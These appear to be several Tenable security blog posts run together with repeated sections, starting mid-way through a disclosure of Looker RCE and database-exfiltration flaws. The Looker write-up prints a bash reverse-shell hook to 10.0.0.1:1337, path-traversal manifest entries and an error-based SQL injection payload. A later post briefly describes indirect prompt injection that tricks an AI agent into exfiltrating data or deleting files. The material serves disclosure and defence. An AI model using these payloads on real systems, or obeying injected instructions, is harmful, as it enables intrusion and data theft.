By iterating through offsets, we could dump the entire internal database - users, configurations, and secrets - byte by byte. After confirming that we could have leaked data with the vulnerability, we did not escalate further.

Conclusion and next steps

These two vulnerabilities demonstrate that even mature, widely used platforms can harbor significant security risks.

The "LookOut" vulnerabilities serve as a reminder that Business Intelligence (BI) platforms are high-value targets.

The discovery of a cross-tenant RCE path underscores the complexity of securing cloud environments. It’s hard to secure systems while giving users highly powerful capabilities, such as running SQL and indirectly interacting with the file system of the managing instance.

The bottom line: While Google has moved swiftly to patch these issues, the burden of security now shifts to customer-hosted administrators. Organizations running Looker on-premises must verify they have upgraded to the patched versions.

If your Looker instance is self-hosted, we recommend upgrading your Looker instances to one of the following versions:

25.12.30+

25.10.54+

25.6.79+

25.0.89+

24.18.209+

Note: releases 25.14 and above are not affected by these security issues.

Tenable Research has disclosed all of these issues to Google and directly worked with them to fix the vulnerabilities. The Google security bulletin can be seen here. The associated TRAs are TRA-2025-44 and TRA-2025-43.

To get more information about how to protect your cloud environments, visit the Tenable Cloud Security page.

Tenable Research discovered two novel vulnerabilities in Google Looker that could allow an attacker to completely compromise a Looker instance. Google moved swiftly to patch these issues. Organizations running Looker on-prem should verify they have upgraded to the patched versions.

Key takeaways

1. Two novel vulnerabilities: Tenable Research discovered a remote code execution (RCE) chain via Git hook overrides that could lead to cross-tenant access, and an internal database exfiltration flaw via internal connection abuse (CVE-2025-12743) that could lead to the exposure of sensitive data. We have collectively dubbed both vulnerabilities as “LookOut.”
2. Cross-tenant breach potential: The RCE vulnerability bypassed cloud isolation in Google-hosted environments, creating a pathway for attackers to potentially "hop" between different customer environments and access private data.
3. Unpatched on-premises risk: While Google patched the vulnerabilities on its managed Looker in Google Cloud, organizations running customer-hosted or on-premises versions remain critically exposed until they apply the necessary security patches.

Google Looker stands out as a powerful business intelligence platform. It allows organizations to define data relationships using LookML, a Google proprietary modeling language, and visualize that data in real-time. Because Looker is often the central nervous system for an organization's most sensitive data, the security of its underlying architecture is crucial.

Looker operates under two primary deployment models: A SaaS version of Looker, where the instance is fully managed by Google Cloud; and customer-hosted version, where the organization deploys the Looker JAR file on its own infrastructure (on-premises or private cloud). This distinction is critical to the impact of our findings: while SaaS environments rely on the provider’s security controls, customer-hosted instances place the full burden of infrastructure security and patching on the organization using Looker. A different, but similarly-named product -- Looker Studio -- isn't impacted by our vulnerability findings.

LookOut could allow an attacker to completely compromise a Looker instance:

1. A remote code execution (RCE) chain that grants an attacker the ability to run arbitrary code on the Looker server. In practical terms, this provides full administrative access to the underlying infrastructure, allowing an attacker to steal sensitive secrets, manipulate data, or pivot further into the internal network. In cloud instances, the vulnerability could potentially lead to cross-tenant access.
2. An authorization bypass that allowed attackers to attach to Looker’s internal database connections and exfiltrate the full internal MySQL database via error-based SQL injection.

These issues were reported to Google via the Cloud Vulnerability Reward Program (VRP) and fixed promptly. We want to thank Google’s Cloud VRP for the support, collaboration, and professionalism. Organizations using customer-hosed and on-prem versions of Looker are advised to deploy available patches as soon as possible and read the following security bulletin.
 

 

Vulnerability #1: RCE via Git hooks config override and path traversal

The first vulnerability exploits how Looker handles remote dependencies in LookML projects, leading to arbitrary code execution. An attacker could create a malicious LookML project to run code on Looker’s server.

The exploit chain

We reviewed Looker’s source code and achieved a full RCE, by chaining the following primitives together:

1. Arbitrary directory creation
2. Path traversal in multiple inputs
3. Race condition

This effectively gave us control over the Looker instance, potentially allowing us to access secrets and cross-tenant data.

Background

The target: LookML project manifests and Git hooks

Looker allows developers to define "remote dependencies" in a file called manifest.lkml. This feature lets you import LookML views and models from other Git repositories.

A standard dependency looks like this:

LookML

remote_dependency: public_project { url: "https://github.com/llooker/google_ga360" ref: "07a20007b6876d349ccbcacccdc400f668fd8147f1" }

 

LookML project example

When you save this, Looker clones that repository into:

/home/looker/looker/remote_dependencies/<project name>/

Crucially, every Looker project is a Git repository. Looker uses Git hooks and hardcodes the Git hooksPath in the .git/config file to a safe location: 

../../git_hooks/<remote_dependency_name>The spark

We knew that every LookML project is, at its core, a Git repository. That means somewhere on the file system, there is a .git folder governing its behavior.

We navigated to one of the project directories on our testing instance, specifically models-user-looker, and opened the repository-specific configuration file: .git/config.

Here is what we saw:
 

Our eyes immediately locked onto the last line: hooksPath.

For those unfamiliar with Git internals, hooksPath is a configuration variable that tells Git, "Don't look for hook scripts in the default .git/hooks folder. Look here instead." Git hooks are powerful. They are scripts (bash, python, etc.) that execute automatically when certain events happen, like a commit or a push.

Looker, seemingly aware of this danger, had hardcoded this value to point to ../../git_hooks/, a directory outside the project root that is supposed to be read-only and managed by the system.

But then we looked more closely at the path structure.

The value was: ../../git_hooks/my_remote_project_name.

We asked ourselves: Where does that project name string come from? It comes from the manifest.lkml file we define as a user:

remote_dependency: my_remote_project_name { ... }

That string isn't generated by the system; it’s input we control. And it’s being concatenated directly into a file path string in the config. 

Our gears started turning immediately.

If Looker is just taking our string and pasting it into that config file, what prevents us from using standard directory traversal characters?

If we named our project ../../../../tmp/pwned, would the config result in hooksPath = ../../git_hooks/../../../../tmp/pwned?

If that hypothesis held true, we effectively had a "Git hook configuration override" primitive. We could point the hooks path away from Looker’s folder and point it to any directory on the server where we could write files. And if we can tell Git to run scripts from a folder we control, we can execute arbitrary code.

This was the starting point. 

Ingredient 1: The config path traversal (the setup)

Our first thought was simple: Can we break out of the folder structure using the dependency name?

We crafted a manifest where the dependency name contained traversal characters:

remote_dependency: ../../../../../../my_custom_hooks_folder { url: "https://github.com/llooker/google_ga360" ... }

 

The remote dependency name is used as the value injected into the hooksPath value, while the ref points to the Git repository whose .git folder will be overridden with this injected value. The repository we chose to override is the one where Git operations are executed when using the LookML project regularly, allowing us to trigger the hooks.

It worked. Looker accepted the name and wrote it directly into the .git/config hooksPath. Instead of pointing to the safe folder, the config now pointed to: 

../../git_hooks/../../../../../../my_custom_hooks_folder

The issue? The config path traversal did not really work. Our malicious custom hooks did not run.

Ingredient 2: The directory creation (the roadblock)

We had a path traversal, but we hit a wall. For the traversal to work, the base directory (git_hooks) had to exist. We were not sure why, but in the environment we were attacking, this folder wasn't there. The file system would reject the path if one of the directories defined in the traversal didn't exist.

We then thought we could try to find a primitive to create an arbitrary directory.

We realized the remote_dependency logic does more than just write configs; it performs git clones. By manipulating the ref (the branch or commit hash) and the name of another dependency, we could trick the system.

We created a dummy dependency:

remote_dependency: git_hooks_creator { url: "https://github.com/llooker/google_ga360" ref: "../../git_hooks" }

This payload forced the system to try and clone data into a path named ../../git_hooks. As a side effect of this operation, the system created the git_hooks directory to satisfy the request.

Now the path existed. The traversal was valid.

Ingredient 3: The weaponized repo (the payload)

We had a way to redirect the hooksPath (Ingredient 1), and a way to ensure the directory existed (Ingredient 2). Now the critical question: How do we write files to the server, to then execute them as hooks?

Pointing the configuration to a folder is useless if that folder is empty or contains non-executable files. 

We can use the url definition in a remote dependency and use the Looker service as is, to clone a repository we control -- and with that, write arbitrary files to the Looker server. To point the hooksPath to the repository folder, we can traverse with the path traversal that we found. 

For Git to execute a hook (like pre-commit or post-commit), two conditions must be met:

1. The file must exist with the correct name (e.g., pre-commit).
2. The file must have the executable permission bit set (+x).

This created a challenge. Typically, when you clone a repository, Git doesn't automatically trust or preserve the file permissions from your local machine blindly -- with one major exception. Git does record the executable bit (100755) in its internal tree objects if it’s explicitly told to do so.

If we just created a script on our machine, ran chmod +x script.sh, and pushed it, the executable bit might be preserved depending on the client’s OS and configuration. We wanted a guarantee. We needed to manipulate the Git index directly to ensure that any client cloning this repo (including the Looker server) would be forced to write that file to disk as an executable.

We used the following Git command on our attacker machine:

git update-index --chmod=+x hook

Why this Git command matters: Standard chmod changes the file system metadata on your computer. git update-index changes the metadata in the Git index itself. It tells Git: "I don't care what the file system says; when you store this file in the repo object, mark it as an executable binary."

So, the attack setup looked like this:

1. We created a malicious repository hosted on GitHub.
2. Inside, we placed a bash script named pre-commit containing our reverse shell payload.
3. We forced the executable bit in the Git index.
4. We pushed this "weaponized repo" to the web.

 

Now, when Looker cloned this "innocent" remote dependency (using the directory creation primitive from Ingredient 2), it dutifully followed the instructions in the Git tree object. It wrote our pre-commit script to the disk and set the executable bit.

Because of our config path traversal (Ingredient 1), Looker’s config was now pointing the hooksPath to the exact folder where this cloned, executable, and malicious script was waiting. The trap was set.

The payload script:

#!/bin/bash /bin/bash -i >& /dev/tcp/10.0.0.1/1337 0>&1Ingredient 4: Git hooks won’t run

We had the config pointed at our script. We had the script in place. But for some reason, the hooks did not run when we tried to run the exploit.

We found out that the problem was JGit.

By default, Looker uses JGit (a Java implementation of Git) for all repository operations. JGit doesn't support Git hooks, therefore, it does not run scripts from hooksPath the way native Git does. 

However, we knew there should be a Git implementation in the code base so we kept reviewing Looker’s code. We found a specific deployment flow that allows deploying a Looker project with an attached Git repository, where Looker executes real Git commands instead of JGit. Looker then falls back to executing real system Git commands.

Moshe Bernstein, Tenable Senior Security Researcher, played a pivotal role here. He helped hunt down this specific needle in the haystack. He found the exact parameters that needed to be set by following the code execution flow from sending the project creation request to the endpoint to creating a Git repository inside Looker that works with Git and not JGit. By sending a specific set of POST parameters, we could create a repository that works with Git in the code flow, and not with JGit.

These specifically were the POST parameters to create a Looker Git repository that works with Git commands when interacted with:

git_auth_configured=true&git_application_server_http_scheme=&git_application_server_http_port=&skip_tests=true&reset_deploy_key=falseIngredient 5: The race condition (the trigger)

There was another problem: before running a Git command, Looker overwrites the .git/config as part of the code flow. This leads to the hooksPath value being reset and changed to the default and safe value. It cleans up our mess before we can exploit it.

To tackle the problem, this is where the race condition comes in:

1. Looker starts the operation.
2. Looker writes the Safe config.
3. Looker executes git commit.

We needed to inject step 2.5: Overwrite the config with our malicious path.

Because the file system write (the config update) and the execution (the commit) are distinct events, we could hammer the API. We set up a script to spam the "save manifest" endpoint (which writes our malicious traversal to the config) while simultaneously triggering the "commit" endpoint.

After a few tries, we won the race. The system executed git commit, checked the config (which we had just overwritten), followed the hooksPath to our malicious directory, and executed our script.

As an example, we dropped a txt file inside the /tmp directory:
 

Result: RCE on the Looker instance

For Looker’s Google-managed instances in Google Cloud Platform (GCP), the RCE could affect cross-tenant victims. By accessing a shared secrets folder, attackers could laterally move to other GCP customers.

For on-premises and self-hosted versions, the threat shifts from cross-tenant access to code execution, leading to internal lateral movement.

Vulnerability #2: Full internal database exfiltration

The second vulnerability allowed us to peer behind the curtain of Looker's internal management.

Internal connections

While poking inside Looker’s logs, we found out that Looker manages its own metadata, users, and permissions using an internal MySQL database with internal database connections. Each Looker project has a Looker instance with its own MySQL internal database. Access to these internal connections is strictly restricted and should not be accessible to standard users or developers.

Yet, one of the logs leaked the internal Looker database connection, named looker__ilooker. 

Proxying to internal connections

When creating a new LookML project, customers should select a connection to their own database to use their data inside the created project. The UI restricts users from selecting database connections that they don’t own and only lists the database connections that they created and are available to them. 

Armed with the knowledge that internal connections and internal databases are used to manage Looker instances, we were able to intercept the HTTP request and modify the connection parameter directly. We could then bypass the UI validation and attach to an internal connection.
 

We simply proxied the request and changed the connection name to looker__ilooker. Looker accepted the request, attaching our user-controlled project to its highly sensitive internal database.
 

Exfiltrating data with error-based SQL injection

With the project attached to the internal database, we still needed a way to extract data. 

We turned to Looker's "data tests" feature. 

In LookML tests, the “sql” field lets you run a custom SQL query directly against the attached database connection to validate data conditions. Luckily for us, in the project we just created, the attached database connection is the internal Looker database we attached.

Even though LookML data tests allow a sql field, Looker still controls how that SQL is executed. The SQL is expected to be a Boolean-style validation query, results are not fully returned to the user, and you typically only see pass/fail, not raw query output.

So while the SQL runs, its output isn’t exposed in a way that lets you read any meaningful data.

We came up with the idea of creating a LookML test that included an error-based SQL injection payload inside a dimension definition, to leak data with errors:

LookML

dimension: id { type: number sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;; }

When we ran the data test, the underlying database attempted to execute this SQL. Because of the updatexml function, the database threw an error that contained the result of our subquery.

The result: 

XPATH syntax error: '~dev::uri:classloader:/helltool/'

By iterating through offsets, we could dump the entire internal database - users, configurations, and secrets - byte by byte. After confirming that we could have leaked data with the vulnerability, we did not escalate further.

Conclusion and next steps

These two vulnerabilities demonstrate that even mature, widely used platforms can harbor significant security risks.

The "LookOut" vulnerabilities serve as a reminder that Business Intelligence (BI) platforms are high-value targets.

The discovery of a cross-tenant RCE path underscores the complexity of securing cloud environments. It’s hard to secure systems while giving users highly powerful capabilities, such as running SQL and indirectly interacting with the file system of the managing instance.

The bottom line: While Google has moved swiftly to patch these issues, the burden of security now shifts to customer-hosted administrators. Organizations running Looker on-premises must verify they have upgraded to the patched versions.

If your Looker instance is self-hosted, we recommend upgrading your Looker instances to one of the following versions:

25.12.30+

25.10.54+

25.6.79+

25.0.89+

24.18.209+

Note: releases 25.14 and above are not affected by these security issues.

Tenable Research has disclosed all of these issues to Google and directly worked with them to fix the vulnerabilities. The Google security bulletin can be seen here. The associated TRAs are TRA-2025-44 and TRA-2025-43.

To get more information about how to protect your cloud environments, visit the Tenable Cloud Security page.

Moltbot, the viral AI agent, offers immense power but is riddled with critical vulnerabilities, including remote code execution (RCE), exposed control interfaces, and malicious extensions. Read on to understand the vulnerabilities associated with Moltbot and the immediate security practices users must prioritize to mitigate this enormous agentic AI security risk.

Key takeaways

1. Moltbot takes an AI agent, gives it access to your computer, your communication streams, your accounts, and much, much more.
2. Given the severe and active threats, including exposed control interfaces, authentication bypasses, and malicious extensions, users must prioritize the security practices outlined below.
3. The convenience of incredible power cannot outweigh the risk that Moltbot’s vulnerabilities create.

What is Clawdbot?

Clawdbot (recently rebranded as Moltbot and subsequently to OpenClaw due to a trademark dispute with Anthropic) is a viral open-source AI assistant. It has been praised for its ability to autonomously execute tasks on local hardware, exemplifying what modern AI can do to truly help end users. As of January 2026, and coinciding with the application's widespread viral adoption, security researchers have identified multiple significant vulnerabilities that place Moltbot users at risk.

What is Moltbot used for?

Moltbot is a multi-function AI agent designed to perform many tasks. Indeed, the website claims it “Works With Everything.” Some features include:

• Setup: Runs on any machine with a choice of models.
• Integrations: Works with any chat app
• Browse the Web: Submit forms on your behalf, find information.
• Memory: Remembers context about you and your preferences
• Extensible: Use or write plugins and skills
• Access: Ability to read and write to disk, execute commands, and more.
• Sandbox: Tools and agents can run inside Docker containers and require approval.

The agent already has an enormous list of official and custom integrations. Given the large feature set, Moltbot must also have a large attack surface. Let’s take a look at Moltbot from an agentic AI security perspective.

Is Moltbot safe? Critical agentic AI security vulnerabilities

• Remote code execution (RCE): Coding issues in the gateway could allow attackers to run commands on the host system with the same permissions as the user, potentially leading to full system compromise. A researcher from depthfirst identified CVE-2026-25253, chaining two findings to execute code on the bot. Two more command injection CVEs have been identified (CVE-2026-24763 and CVE-2026-25157).
• Malicious skills: An OpenClaw bot at Koi identified a few hundred malicious skills in the ClawHub skills repo.
• Exposed control interfaces: Researchers from SlowMist and other firms found that many users misconfigure their setups, leaving the Clawdbot Control web interface publicly accessible on the internet without password protection.
• Authentication bypass: A flaw in how the gateway handles localhost connections allows external attackers to bypass login protections when the software is deployed behind a common reverse proxy (like Nginx).
• Sensitive data leaks: Moltbot stores authentication tokens (API keys), user profiles, and memories in plaintext Markdown and JSON files. Attackers who gain access can steal these keys to take over accounts or conduct Cognitive Context Theft using private conversation histories.
• Indirect prompt injection: Because the tool can read emails, chat messages, and web pages, malicious actors can send messages that trick the AI into executing unauthorized commands, such as exfiltrating data or deleting files.

Recent risks and rebranding

• Trademark rebrand: On January 27, 2026, the project was renamed Moltbot following a legal request from Anthropic.
• Account hijacking: During the name change, the original @clawdbot handles on X and GitHub were immediately snatched by crypto scammers who are now using them to promote fake tokens ($CLAWD) to the project's more than 60,000 followers.
• Second trademark rebrand: On January 29, the project was renamed OpenClaw.
• Malicious extensions: Fake "Clawdbot Agent" extensions for VS Code have been discovered. These fake extensions install trojans and remote access malware on users’ machines.

Recommended security practices for Moltbot users

If you choose to run this software, security experts recommend several immediate hardening steps:

• Strict whitelisting: Use the OpenClaw Security Guide to explicitly whitelist only necessary tools and block dangerous shell execution capabilities.
• Verify gateway settings: Ensure gateway.auth.password is set and verify that your reverse proxy correctly passes headers so authentication is not bypassed.
• Use sandboxing: Enable sandbox mode for the AI agent to restrict its access to your filesystem and browser.
• Run security audits: Use the built-in security audit tool periodically to check for exposed ports or misconfigurations.
• Restrict token access: Moltbot uses API keys and other tokens to access services. These should all be scoped appropriately to allow just enough access and disallow dangerous actions.
• Privacy: Moltbot can be added to group channels where it can read and parse untrusted messages. To help mitigate the risk of prompt injection, grant access only to trusted people and channels.

Tenable plugins for Moltbot and OpenClaw

Tenable One has detection plugins for Moltbot. A list of Tenable plugins for this vulnerability can be found on the search page for Moltbot and OpenClaw as they’re released. These links will display all available plugins for this vulnerability, including upcoming plugins in our Plugins Pipeline.

Moltbot, the viral AI agent, offers immense power but is riddled with critical vulnerabilities, including remote code execution (RCE), exposed control interfaces, and malicious extensions. Read on to understand the vulnerabilities associated with Moltbot and the immediate security practices users must prioritize to mitigate this enormous agentic AI security risk.

Key takeaways

1. Moltbot takes an AI agent, gives it access to your computer, your communication streams, your accounts, and much, much more.
2. Given the severe and active threats, including exposed control interfaces, authentication bypasses, and malicious extensions, users must prioritize the security practices outlined below.
3. The convenience of incredible power cannot outweigh the risk that Moltbot’s vulnerabilities create.

What is Clawdbot?

Clawdbot (recently rebranded as Moltbot and subsequently to OpenClaw due to a trademark dispute with Anthropic) is a viral open-source AI assistant. It has been praised for its ability to autonomously execute tasks on local hardware, exemplifying what modern AI can do to truly help end users. As of January 2026, and coinciding with the application's widespread viral adoption, security researchers have identified multiple significant vulnerabilities that place Moltbot users at risk.

What is Moltbot used for?

Moltbot is a multi-function AI agent designed to perform many tasks. Indeed, the website claims it “Works With Everything.” Some features include:

• Setup: Runs on any machine with a choice of models.
• Integrations: Works with any chat app
• Browse the Web: Submit forms on your behalf, find information.
• Memory: Remembers context about you and your preferences
• Extensible: Use or write plugins and skills
• Access: Ability to read and write to disk, execute commands, and more.
• Sandbox: Tools and agents can run inside Docker containers and require approval.

The agent already has an enormous list of official and custom integrations. Given the large feature set, Moltbot must also have a large attack surface. Let’s take a look at Moltbot from an agentic AI security perspective.

Is Moltbot safe? Critical agentic AI security vulnerabilities

• Remote code execution (RCE): Coding issues in the gateway could allow attackers to run commands on the host system with the same permissions as the user, potentially leading to full system compromise. A researcher from depthfirst identified CVE-2026-25253, chaining two findings to execute code on the bot. Two more command injection CVEs have been identified (CVE-2026-24763 and CVE-2026-25157).
• Malicious skills: An OpenClaw bot at Koi identified a few hundred malicious skills in the ClawHub skills repo.
• Exposed control interfaces: Researchers from SlowMist and other firms found that many users misconfigure their setups, leaving the Clawdbot Control web interface publicly accessible on the internet without password protection.
• Authentication bypass: A flaw in how the gateway handles localhost connections allows external attackers to bypass login protections when the software is deployed behind a common reverse proxy (like Nginx).
• Sensitive data leaks: Moltbot stores authentication tokens (API keys), user profiles, and memories in plaintext Markdown and JSON files. Attackers who gain access can steal these keys to take over accounts or conduct Cognitive Context Theft using private conversation histories.
• Indirect prompt injection: Because the tool can read emails, chat messages, and web pages, malicious actors can send messages that trick the AI into executing unauthorized commands, such as exfiltrating data or deleting files.

Recent risks and rebranding

• Trademark rebrand: On January 27, 2026, the project was renamed Moltbot following a legal request from Anthropic.
• Account hijacking: During the name change, the original @clawdbot handles on X and GitHub were immediately snatched by crypto scammers who are now using them to promote fake tokens ($CLAWD) to the project's more than 60,000 followers.
• Second trademark rebrand: On January 29, the project was renamed OpenClaw.
• Malicious extensions: Fake "Clawdbot Agent" extensions for VS Code have been discovered. These fake extensions install trojans and remote access malware on users’ machines.

Recommended security practices for Moltbot users

If you choose to run this software, security experts recommend several immediate hardening steps:

• Strict whitelisting: Use the OpenClaw Security Guide to explicitly whitelist only necessary tools and block dangerous shell execution capabilities.
• Verify gateway settings: Ensure gateway.auth.password is set and verify that your reverse proxy correctly passes headers so authentication is not bypassed.
• Use sandboxing: Enable sandbox mode for the AI agent to restrict its access to your filesystem and browser.
• Run security audits: Use the built-in security audit tool periodically to check for exposed ports or misconfigurations.
• Restrict token access: Moltbot uses API keys and other tokens to access services. These should all be scoped appropriately to allow just enough access and disallow dangerous actions.
• Privacy: Moltbot can be added to group channels where it can read and parse untrusted messages. To help mitigate the risk of prompt injection, grant access only to trusted people and channels.

Tenable plugins for Moltbot and OpenClaw

Tenable One has detection plugins for Moltbot. A list of Tenable plugins for this vulnerability can be found on the search page for Moltbot and OpenClaw as they’re released. These links will display all available plugins for this vulnerability, including upcoming plugins in our Plugins Pipeline.

Threat actors compromised the update infrastructure for Notepad++, redirecting traffic to an attacker controlled site for targeted espionage purposes.

Change log

Update February 4: This FAQ blog has been updated to note that CVE-2025-15556 was assigned for this security incident.

Click here to review the change log history

Update February 4: This FAQ blog has been updated to note that CVE-2025-15556 was assigned for this security incident.

Key takeaways:

1. Beginning in June 2025, threat actors compromised the infrastructure Notepad++ uses to distribute software updates.
    
2. The issue has been addressed and Notepad++ have released 8.9.1 which now includes XML signature validation (XMLDSig) for security updates.
    
3. Reports suggest that the attack was carried out by a Chinese threat actor known as Lotus Blossom.

Background

Tenable’s Research Special Operations (RSO) team has compiled this blog to answer Frequently Asked Questions (FAQ) regarding the disclosure of a supply chain compromise of Notepad++.

FAQ

What happened with Notepad++?

On February 2, Don Ho, creator of Notepad ++, a source code and text editor for Windows, published a blog detailing the investigation into a supply chain security incident.

What kind of security incident is this?

According to the blog post, threat actors compromised the infrastructure by which Notepad++ would distribute software updates. This compromise allowed the attackers to redirect update traffic from its intended destination (notepad-plus-plus dot org) to an attacker-controlled site.

When did this security incident begin?

The security incident began in June 2025.

How long did the security incident last for?

Roughly six months. The compromised infrastructure was accessible until September 2, 2025. However, because the attackers possessed valid credentials for the internal services of the infrastructure provider, they were able to continue redirecting Notepad++ update traffic until December 2, 2025.

Was this incident known prior to February 2?

Yes, Ho published a blog post on December 9 regarding the release of version 8.8.9 and noted that security experts “reported incidents of traffic hijacking affecting Notepad++.” The full scope of the security incident wasn’t known at the time as the investigation was ongoing.

Has this attack been linked to a specific threat actor?

Yes, reports suggest that the attack was carried out by a Chinese threat actor known as Lotus Blossom, also known as Bilbug, Raspberry Typhoon or Thrip.

What do we know about Lotus Blossom?

Lotus Blossom has been operating since 2009, known for deploying various backdoor malware. Regionally, the group has a penchant for targeting entities across Asia including government and the defense sector.

How widespread was this Notepad++ attack?

Despite the widespread usage of Notepad++, reports indicate that Lotus Blossom focused more on espionage of certain targets through the deployment of malware rather than financially motivated cybercrime like ransomware or extortion.

Were there any vulnerabilities associated with this security incident?

On February 2, CVE-2025-15556 was assigned for this security incident. CVE-2025-15556 is a download of code without integrity check vulnerability.

Are there software updates available for this security incident?

Yes, Notepad++ have released 8.9.1 which now includes XML signature validation (XMLDSig) for security updates with additional signing enforcement expected in version 8.9.2.

Affected ProductAffected VersionsFixed VersionsNotepad ++8.9 and lower8.9.1 and above

Has Tenable released any product coverage for these vulnerabilities?

Yes, a Tenable plugin to identify vulnerable versions of Notepad++ can be found here.

This link will display all available plugins for these vulnerabilities, including upcoming plugins in our Plugins Pipeline.

Get more information

• Notepad++ Hijacked by State-Sponsored Hackers
• Notepad++ v8.8.9 release: Vulnerability-fix

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect and engage with us in the Threat Roundtable group for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

Threat actors compromised the update infrastructure for Notepad++, redirecting traffic to an attacker controlled site for targeted espionage purposes.

Change log

Update February 4: This FAQ blog has been updated to note that CVE-2025-15556 was assigned for this security incident.

Click here to review the change log history

Update February 4: This FAQ blog has been updated to note that CVE-2025-15556 was assigned for this security incident.

Key takeaways:

1. Beginning in June 2025, threat actors compromised the infrastructure Notepad++ uses to distribute software updates.
    
2. The issue has been addressed and Notepad++ have released 8.9.1 which now includes XML signature validation (XMLDSig) for security updates.
    
3. Reports suggest that the attack was carried out by a Chinese threat actor known as Lotus Blossom.

Background

Tenable’s Research Special Operations (RSO) team has compiled this blog to answer Frequently Asked Questions (FAQ) regarding the disclosure of a supply chain compromise of Notepad++.

FAQ

What happened with Notepad++?

On February 2, Don Ho, creator of Notepad ++, a source code and text editor for Windows, published a blog detailing the investigation into a supply chain security incident.

What kind of security incident is this?

According to the blog post, threat actors compromised the infrastructure by which Notepad++ would distribute software updates. This compromise allowed the attackers to redirect update traffic from its intended destination (notepad-plus-plus dot org) to an attacker-controlled site.

When did this security incident begin?

The security incident began in June 2025.

How long did the security incident last for?

Roughly six months. The compromised infrastructure was accessible until September 2, 2025. However, because the attackers possessed valid credentials for the internal services of the infrastructure provider, they were able to continue redirecting Notepad++ update traffic until December 2, 2025.

Was this incident known prior to February 2?

Yes, Ho published a blog post on December 9 regarding the release of version 8.8.9 and noted that security experts “reported incidents of traffic hijacking affecting Notepad++.” The full scope of the security incident wasn’t known at the time as the investigation was ongoing.

Has this attack been linked to a specific threat actor?

Yes, reports suggest that the attack was carried out by a Chinese threat actor known as Lotus Blossom, also known as Bilbug, Raspberry Typhoon or Thrip.

What do we know about Lotus Blossom?

Lotus Blossom has been operating since 2009, known for deploying various backdoor malware. Regionally, the group has a penchant for targeting entities across Asia including government and the defense sector.

How widespread was this Notepad++ attack?

Despite the widespread usage of Notepad++, reports indicate that Lotus Blossom focused more on espionage of certain targets through the deployment of malware rather than financially motivated cybercrime like ransomware or extortion.

Were there any vulnerabilities associated with this security incident?

On February 2, CVE-2025-15556 was assigned for this security incident. CVE-2025-15556 is a download of code without integrity check vulnerability.

Are there software updates available for this security incident?

Yes, Notepad++ have released 8.9.1 which now includes XML signature validation (XMLDSig) for security updates with additional signing enforcement expected in version 8.9.2.

Affected ProductAffected VersionsFixed VersionsNotepad ++8.9 and lower8.9.1 and above

Has Tenable released any product coverage for these vulnerabilities?

Yes, a Tenable plugin to identify vulnerable versions of Notepad++ can be found here.

This link will display all available plugins for these vulnerabilities, including upcoming plugins in our Plugins Pipeline.

Get more information

• Notepad++ Hijacked by State-Sponsored Hackers
• Notepad++ v8.8.9 release: Vulnerability-fix

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect and engage with us in the Threat Roundtable group for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

Tenable Cloud Security continues to expand the technical depth of our Tenable One exposure management platform. Our latest enhancements include unified multi-cloud exploration, high-fidelity network validation, and expanded entitlement visibility across infrastructure and identity providers.

Key takeaways

1. Graph-based multi-cloud exploration: We’ve leveraged our unified data model to provide deep visibility across all cloud environments. You can now easily explore cloud risks and resources using an advanced query builder to build and save queries, and switch to Graph view to instantly visualize complex asset relationships and blast radius.
2. Outside-In network attack surface validation: A new external network scanner probes environments to confirm reachability, allowing teams to prioritize vulnerability mitigation based on verifiable external exposure
3. Comprehensive identity inventory: We’ve expanded our identity inventory to unify entitlement tracking across cloud platforms, including Microsoft Entra ID and Google Workspace. This allows teams to instantly pinpoint overprivileged roles and unused policies to enforce least privilege at scale.

Explorer: Unified query and relationship mapping 

Fragmentation of data across disconnected tools is a primary hurdle in multi-cloud security, often forcing teams to pivot between siloed views to find context. To address this, we have introduced Explorer, a unified interface for deep-dive analysis into resources and findings across your cloud estate. This capability moves beyond static views, allowing security teams to precisely identify risk by querying across objects using granular filters, logical operators, and relationship-based joins.

With the Explorer, you can:

• Perform complex correlations: Use advanced query logic and joins to connect disparate data points, such as linking specific vulnerabilities to their underlying cloud identities or identifying storage buckets that contain sensitive data and are being used for training by AI models.
• Streamline operations: Leverage saved query configurations to standardize repetitive auditing tasks and ensure consistency across compliance reviews.
• Visualize the blast radius: Utilize the Graph view to map asset dependencies, providing a clear visual understanding of how vulnerabilities can propagate through your environment.
   

The Explorer unifies multi-cloud resources into a single interface, allowing teams to query complex asset relationships and instantly visualize the potential blast radius via Graph view.

Network security: High-fidelity exposure validation

To improve prioritization accuracy, we have enhanced Tenable’s network scanner to perform outside-in probing of your cloud environments' attack surface. Rather than relying solely on static cloud configuration analysis of publicly exposed cloud resources – which can often lead to false positives — this tool conducts an external reachability analysis to confirm whether an endpoint is actually accessible from the internet. By validating real-world exposure, security teams can filter out noise and surface the small percentage of vulnerabilities that pose a genuine external threat.

To translate this validation into action, you can now filter exposed network endpoints by resource type (such as EC2 instances, S3 buckets, and databases), specific ports, host IPs, and other properties. This granularity makes it easier to isolate specific segments of your infrastructure and accelerate targeted remediation of your most critical external exposures.
 

The Tenable network scanner actively verifies external reachability to confirm internet-exposed workloads

IAM security: Expanded entitlement visibility and insight

Managing identity risk requires deep visibility into both cloud infrastructure and identity providers (IdPs). We have expanded our cloud infrastructure entitlement management (CIEM) capabilities to provide a comprehensive inventory of entitlements across AWS, Azure, GCP, Microsoft Entra ID, and Google Workspace. The Inventory view now displays all roles and identity-based policies—regardless of whether they are currently active. This technical baseline is essential for identifying "ghost" identities and stale permissions that increase the attack surface. Furthermore, administrators can now define custom security policies for any role category, including those not yet deployed in the environment. This enables the establishment of proactive governance and least-privilege guardrails that scale automatically as new resources are provisioned.

Comprehensive posture: Public AMI scanning

Our AWS coverage now includes support for public Amazon Machine Image (AMI) scanning. This allows organizations to assess the security posture of vendor-provided and AWS-published images within their own environment. By analyzing these images for vulnerabilities and misconfigurations, teams can mitigate supply chain risks before they are integrated into production workloads.
 

Audit-vendor and AWS-published images in your posture assessments to mitigate supply chain risk

Guided use cases: Solve real problems, fast

This month, we’ve added two high-impact use-case packages to help you build an exposure management foundation:

• Prioritize cloud risk that matters most. Use AI-Powered VPR and toxic combination analysis to cut through the noise, reducing remediation time by 80%. See a demo.
   
• Secure AI workloads. Discover and protect sensitive data powering AI workloads while continuously assessing the underlying AI infrastructure and configurations. Learn more by reading a solution overview.
